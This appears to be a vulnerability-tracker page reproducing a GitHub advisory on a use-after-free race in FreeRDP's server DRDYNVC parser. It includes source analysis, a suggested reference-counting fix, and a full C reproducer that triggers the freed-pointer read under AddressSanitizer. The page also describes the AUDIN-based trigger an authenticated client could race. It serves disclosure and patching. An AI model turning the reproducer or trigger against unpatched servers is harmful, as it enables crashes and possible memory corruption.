Read the docs

Use-after-free in FreeRDP server DRDYNVC parser

Priority MEDIUM 48CWE-362Published · Updated

Key facts

Attack vector
Network
Privileges required
Low
User interaction
None
Attack complexity
High
Impact type
Code execution
Confidentiality · integrity · availability
High · High · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-6mpx-c8rj-whj5. Fix status from GitHub. Impact type from CWE-416 and the CVSS impact.

Summary

FreeRDP from 2.0.0 through 3.30.0 has a use-after-free in the server-side DRDYNVC parser (CWE-416). The parser keeps using a channel pointer after the lock protecting the channel table is released, so a concurrent close can free the channel while it is still in use. An authenticated remote client can trigger this by racing the close of a dynamic virtual channel against DRDYNVC data for the same channel, which affects confidentiality, integrity and availability.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

# FreeRDP server DRDYNVC parser use-after-free during concurrent channel close Discovery credit: Bynario Atlas CVSS v3.1 (standalone root cause): `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H` (7.5, High) CWE(s): CWE-416 (Use After Free); CWE-362 (Concurrent Execution using Shared Resource with Improper Synchronization) ## Summary > Disclosure note: This finding was identified and validated by Bynario Atlas, an AI automated pipeline. The technical claims and supporting evidence were manually reviewed before submission. FreeRDP's server-side DRDYNVC parser obtains a borrowed `rdpPeerChannel *` from a synchronized table, then continues using it after the table lock is released. An authenticated client can race an AUDIN message that makes the channel worker close the DVC against DRDYNVC data for that same channel. The parser can then dereference the freed channel. AddressSanitizer deterministically confirmed the use-after-free on FreeRDP 3.30.0 and current master. ## Affected versions and preconditions The lifetime gap is source-confirmed in every inspected stable release from 2.0.0 through 3.30.0 and in master at `9626564421df72c84f891afdbc0b20bf702f369f`. AddressSanitizer runtime testing covered FreeRDP 3.30.0 and that master revision. No upstream fix was found as of 2026-08-22. The server must enable a dynamic virtual channel whose worker can close it while the socket thread parses client data. The validated trigger is AUDIN: after AUDIN is open, an authenticated malicious client sends an unknown SNDIN message and overlapping DRDYNVC data. Exploitation requires winning the close/parser interleaving. ## Technical analysis All line numbers below are `libfreerdp/core/server.c`, given as 3.30.0 / master. The lookup returns a borrowed pointer after the table lock has been released (`:73` in both revisions): ```c static rdpPeerChannel* wts_get_dvc_channel_by_id(WTSVirtualChannelManager* vcm, UINT32 ChannelId) { WINPR_ASSERT(vcm); return HashTable_GetItemValue(vcm->dynamicVirtualChannels, &ChannelId); } ``` The hash table is configured for internal synchronization, but `HashTable_GetItemValue()` leaves its critical section before returning. It takes no reference, and `rdpPeerChannel` has no equivalent lifetime mechanism. `wts_read_drdynvc_pdu()` (`:282` / `:292`) calls that lookup at `:332` / `:340` and then dereferences the result in every arm of its command switch. The sanitizer-flagged statement is the `dvc->dvc_open_state` test under `case DATA_PDU:` at `:358` / `:366`, which is the first dereference on the validated `DATA` path; the `CREATE_REQUEST_PDU` arm (`:343` / `:351`) and the `DATA_FIRST_PDU` state test (`:346` / `:354`) dereference the same borrowed pointer earlier in the same switch, so the exposed surface is wider than the one validated line. Both data arms then pass the borrowed `dvc` into `wts_read_drdynvc_data_first()` (`:214` / `:221`) and `wts_read_drdynvc_data()` (`:240` / `:244`), which write through `dvc->receiveData` and post to `dvc->queue` — the same stream and queue the close path destroys. Concurrently, `FreeRDP_WTSVirtualChannelClose()` (`:1586` / `:1622`) removes the table entry at `:1637` / `:1673`: ```c HashTable_Remove(vcm->dynamicVirtualChannels, &channel->channelId); ``` That removal invokes the table's registered free callback, which reaches `server_channel_common_free()` and performs `MessageQueue_Free(channel->queue)`, `Stream_Free(channel->receiveData, TRUE)`, `DeleteCriticalSection(&channel->writeLock)` and `free(channel)` — so the parser's stream and queue are destroyed underneath it. The table lock serializes lookup and removal, but does not preserve the object after lookup returns: ```text socket / parser thread channel worker ---------------------- -------------- HashTable_GetItemValue() lock table dvc = table[ChannelId] unlock table return borrowed dvc WTSVirtualChannelClose(dvc) lock table HashTable_Remove(ChannelId) free queue free receiveData free dvc unlock table read dvc->dvc_open_state <--------------- use after free write dvc->receiveData post to dvc->queue ``` For the concrete attacker-controlled trigger, AUDIN treats an unknown `MessageId=0xff` as invalid, exits `audin_server_thread_func()` (`channels/audin/server/audin.c`), and closes its DVC. An overlapping valid DRDYNVC `DATA` PDU for that channel makes the socket-side parser retrieve and use the borrowed pointer. Both operations use unmodified production paths. The AUDIN trigger exists from FreeRDP 3.0.0 onward; the generic lifetime defect predates it. ## Reproduction Appendix A is a compact, deterministic reproducer for the lifetime defect: 1. Build FreeRDP 3.30.0 with AddressSanitizer and the instrumentation options documented in the appendix. 2. Open a server DVC and complete DRDYNVC negotiation. 3. Pass a valid `DATA` PDU through `freerdp_peer.ReceiveChannelData` and pause immediately after the production table lookup. 4. Close the same channel from another thread with `WTSVirtualChannelClose()`, then resume parsing. This produced a heap-use-after-free reading the freed 248-byte `rdpPeerChannel` at `libfreerdp/core/server.c:358` on 3.30.0 and `libfreerdp/core/server.c:366` on master. AddressSanitizer traced the free through `HashTable_Remove()` at `server.c:1637` and `:1673`, respectively. The attacker-controlled AUDIN sequence was validated with a separate 228-line harness. It sends the invalid SNDIN message and overlapping DRDYNVC `DATA` PDU through `freerdp_peer.ReceiveChannelData`, uses the real AUDIN worker, and reproduces the same use-after-free. Its hash-table interposition controls only the timing of the production close/parser race. On master, the free stack included `audin_server_thread_func()` at `channels/audin/server/audin.c:465`. The source, build instructions, and sanitized validation record are available privately on request. Appendix A was freshly rebuilt and rerun against FreeRDP 3.30.0 on 2026-08-23, producing the sanitizer output quoted below. Validation of the AUDIN trigger reached the production channel/PDU and worker paths, but did not include a complete TCP/NLA session or measure the race rate without timing barriers. ## Impact An authenticated malicious client can cause the FreeRDP server to access a freed heap object. The direct demonstrated impact is an attacker-triggered, post-authentication server abort under AddressSanitizer. We did not measure whether the same race crashes an uninstrumented server. The freed object also contains `receiveData` and `queue` pointers that the parser subsequently passes to `Stream_Write()` and `MessageQueue_Post()`. Heap reuse could therefore turn the stale access into memory corruption affecting confidentiality or integrity. Controlled object replacement, a reliable write primitive, and code execution were not demonstrated. The 7.5 CVSS score reflects that potential impact and the high complexity of winning and shaping the race; the directly observed impact is availability loss. The standalone issue requires an authenticated channel session. Any pre-authentication reachability would depend on a separate flaw in the embedding server and is outside this report. ## Remediation Suggestions Acquire an owned in-flight reference while the channel table is protected and retain it through all parser use. Closing should mark the channel as closing, block new lookups, and defer destruction until every in-flight reference is released. A null check or an atomic state flag alone is insufficient because close may free the object immediately after either check. The following is an illustrative ownership sketch, not a tested patch. A production change must audit manager teardown and every API that accepts a raw channel `HANDLE`; all parser exits must release the acquired reference. ```c /* New fields in rdpPeerChannel; closing is accessed under the table lock. */ volatile LONG references; BOOL closing; static void dvc_channel_release(void* ptr) { rdpPeerChannel* channel = ptr; if (InterlockedDecrement(&channel->references) == 0) channel_free(channel); } static rdpPeerChannel* dvc_channel_acquire(WTSVirtualChannelManager* vcm, UINT32 id) { rdpPeerChannel* channel = NULL; HashTable_Lock(vcm->dynamicVirtualChannels); channel = HashTable_GetItemValue(vcm->dynamicVirtualChannels, &id); if (channel && !channel->closing) InterlockedIncrement(&channel->references); else channel = NULL; HashTable_Unlock(vcm->dynamicVirtualChannels); return channel; } /* Initialize references=1 for the table-owned reference and make the * table value-free callback call dvc_channel_release(), not free directly. * Close marks the object and removes it under the same lock; removal drops * the table reference. wts_read_drdynvc_pdu() releases its acquired * reference only after the complete command switch has finished. */ ``` Add a forced concurrent AUDIN-close regression test under AddressSanitizer and ThreadSanitizer. The test should verify both interleavings: close before acquisition (lookup fails cleanly) and close after acquisition (destruction waits for parser release). ## Related Issues The AUDIN self-close is a validated trigger for this shared DVC lifetime root cause, not a separate independently fixable vulnerability. GHSA-3mv2-5q57-2v8h / CVE-2026-56297 covered a different client-side callback lifetime issue and does not fix this server path. ## Appendix A: deterministic component reproducer This harness uses the production PDU and WTS paths and interposes `HashTable_GetItemValue()` only to pause the parser after it obtains the borrowed channel pointer. Compile it from a FreeRDP source/build tree against an AddressSanitizer build. Configure the test build with `-DEXPORT_ALL_SYMBOLS=ON` so the executable can interpose WinPR's normally hidden hash-table call; this is test instrumentation, not a vulnerability precondition. On ELF platforms, also export the interposed symbol and link `libdl` and pthreads (for example, `-Wl,--export-dynamic -ldl -pthread`). The exact source below was compiled and run on Linux with GCC 15.2.0 against an AddressSanitizer-instrumented FreeRDP 3.30.0 build. A condensed sanitizer excerpt, with addresses and build paths omitted, is: ```text parser has borrowed DVC pointer; closing channel on second thread DVC removed and freed; resuming parser ERROR: AddressSanitizer: heap-use-after-free READ of size 1 in wts_read_drdynvc_pdu (libfreerdp/core/server.c:358) 248-byte rdpPeerChannel freed by FreeRDP_WTSVirtualChannelClose -> HashTable_Remove call at libfreerdp/core/server.c:1637 SUMMARY: AddressSanitizer: heap-use-after-free in wts_read_drdynvc_pdu ``` ```c /* * Deterministic ASan reproducer for the FreeRDP server DRDYNVC borrowed * channel lifetime gap. It uses the public server/WTS path and interposes * HashTable_GetItemValue only to place a barrier after the parser has obtained * its raw rdpPeerChannel pointer. The main thread then closes that DVC before * the parser resumes. */ #define _GNU_SOURCE #include <dlfcn.h> #include <pthread.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <winpr/collections.h> #include <winpr/crt.h> #include <winpr/wtsapi.h> #include <freerdp/channels/channels.h> #include <freerdp/channels/wtsvc.h> #include <freerdp/constants.h> #include <freerdp/peer.h> #include "libfreerdp/core/mcs.h" #include "libfreerdp/core/rdp.h" #define TEST_SVC_CHANNEL_ID 1004 typedef void* (*hash_get_fn)(wHashTable*, const void*); static pthread_once_t g_real_once = PTHREAD_ONCE_INIT; static hash_get_fn g_real_hash_get; static pthread_mutex_t g_barrier_lock = PTHREAD_MUTEX_INITIALIZER; static pthread_cond_t g_barrier_cond = PTHREAD_COND_INITIALIZER; static int g_lookup_reached; static int g_lookup_release; static _Thread_local int g_arm_lookup_barrier; static void resolve_hash_get(void) { g_real_hash_get = (hash_get_fn)dlsym(RTLD_NEXT, "HashTable_GetItemValue"); if (!g_real_hash_get) { fprintf(stderr, "dlsym(HashTable_GetItemValue): %s\n", dlerror()); abort(); } } /* Exported from the executable so libwinpr/libfreerdp calls are preempted. */ void* HashTable_GetItemValue(wHashTable* table, const void* key) { pthread_once(&g_real_once, resolve_hash_get); void* value = g_real_hash_get(table, key); if (g_arm_lookup_barrier) { g_arm_lookup_barrier = 0; pthread_mutex_lock(&g_barrier_lock); g_lookup_reached = 1; pthread_cond_broadcast(&g_barrier_cond); while (!g_lookup_release) pthread_cond_wait(&g_barrier_cond, &g_barrier_lock); pthread_mutex_unlock(&g_barrier_lock); } return value; } static BOOL recv_pdu(freerdp_peer* client, const BYTE* data, size_t size) { return client->ReceiveChannelData(client, TEST_SVC_CHANNEL_ID, data, size, CHANNEL_FLAG_FIRST | CHANNEL_FLAG_LAST, size); } typedef struct { freerdp_peer* client; BOOL result; } parser_args; static void* parser_thread(void* arg) { parser_args* args = arg; /* The next hash lookup in this thread is wts_get_dvc_channel_by_id(). */ g_arm_lookup_barrier = 1; const BYTE data[] = { 0x30, 0x01, 0x41 }; /* DYNVC_DATA, id 1, one byte */ args->result = recv_pdu(args->client, data, sizeof(data)); return NULL; } int main(void) { setvbuf(stdout, NULL, _IONBF, 0); WTSRegisterWtsApiFunctionTable(FreeRDP_InitWtsApi()); freerdp_peer* client = calloc(1, sizeof(*client)); if (!client) return 2; client->ContextSize = sizeof(rdpContext); if (!freerdp_peer_context_new(client)) return 2; rdpMcs* mcs = client->context->rdp->mcs; mcs->channelCount = 1; (void)strncpy(mcs->channels[0].Name, DRDYNVC_SVC_CHANNEL_NAME, CHANNEL_NAME_LEN); mcs->channels[0].ChannelId = TEST_SVC_CHANNEL_ID; mcs->channels[0].joined = TRUE; HANDLE vcm = WTSOpenServerA((LPSTR)client->context); if (!vcm || vcm == INVALID_HANDLE_VALUE || !WTSVirtualChannelManagerOpen(vcm)) return 2; const BYTE caps_rsp[] = { 0x50, 0x00, 0x01, 0x00 }; if (!recv_pdu(client, caps_rsp, sizeof(caps_rsp))) return 2; HANDLE dvc = WTSVirtualChannelOpenEx(1, "race-test", WTS_CHANNEL_OPTION_DYNAMIC); if (!dvc) return 2; const BYTE create_rsp[] = { 0x10, 0x01, 0x00, 0x00, 0x00, 0x00 }; if (!recv_pdu(client, create_rsp, sizeof(create_rsp))) return 2; parser_args args = { .client = client, .result = FALSE }; pthread_t parser; if (pthread_create(&parser, NULL, parser_thread, &args) != 0) return 2; pthread_mutex_lock(&g_barrier_lock); while (!g_lookup_reached) pthread_cond_wait(&g_barrier_cond, &g_barrier_lock); pthread_mutex_unlock(&g_barrier_lock); printf("parser has borrowed DVC pointer; closing channel on second thread\n"); if (!WTSVirtualChannelClose(dvc)) fprintf(stderr, "WTSVirtualChannelClose returned FALSE\n"); printf("DVC removed and freed; resuming parser\n"); pthread_mutex_lock(&g_barrier_lock); g_lookup_release = 1; pthread_cond_broadcast(&g_barrier_cond); pthread_mutex_unlock(&g_barrier_lock); (void)pthread_join(parser, NULL); printf("unexpectedly survived, ReceiveChannelData=%d\n", args.result); WTSCloseServer(vcm); freerdp_peer_context_free(client); free(client); return 1; } ```

Why it matters now

Fix Fixed FreeRDP: 3.31.0

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP>= 2.0.0, <= 3.30.03.31.0Patch availableGHSA-6mpx-c8rj-whj5
  • FreeRDP Vendor— Affected >= 2.0.0, <= 3.30.0 Fixed in 3.31.0 Patch available GHSA-6mpx-c8rj-whj5

Remediation

Update FreeRDP to version 3.31.0, which fixes this issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-6mpx-c8rj-whj5 FreeRDP Fixed in 3.31.0 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-6mpx-c8rj-whj5

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences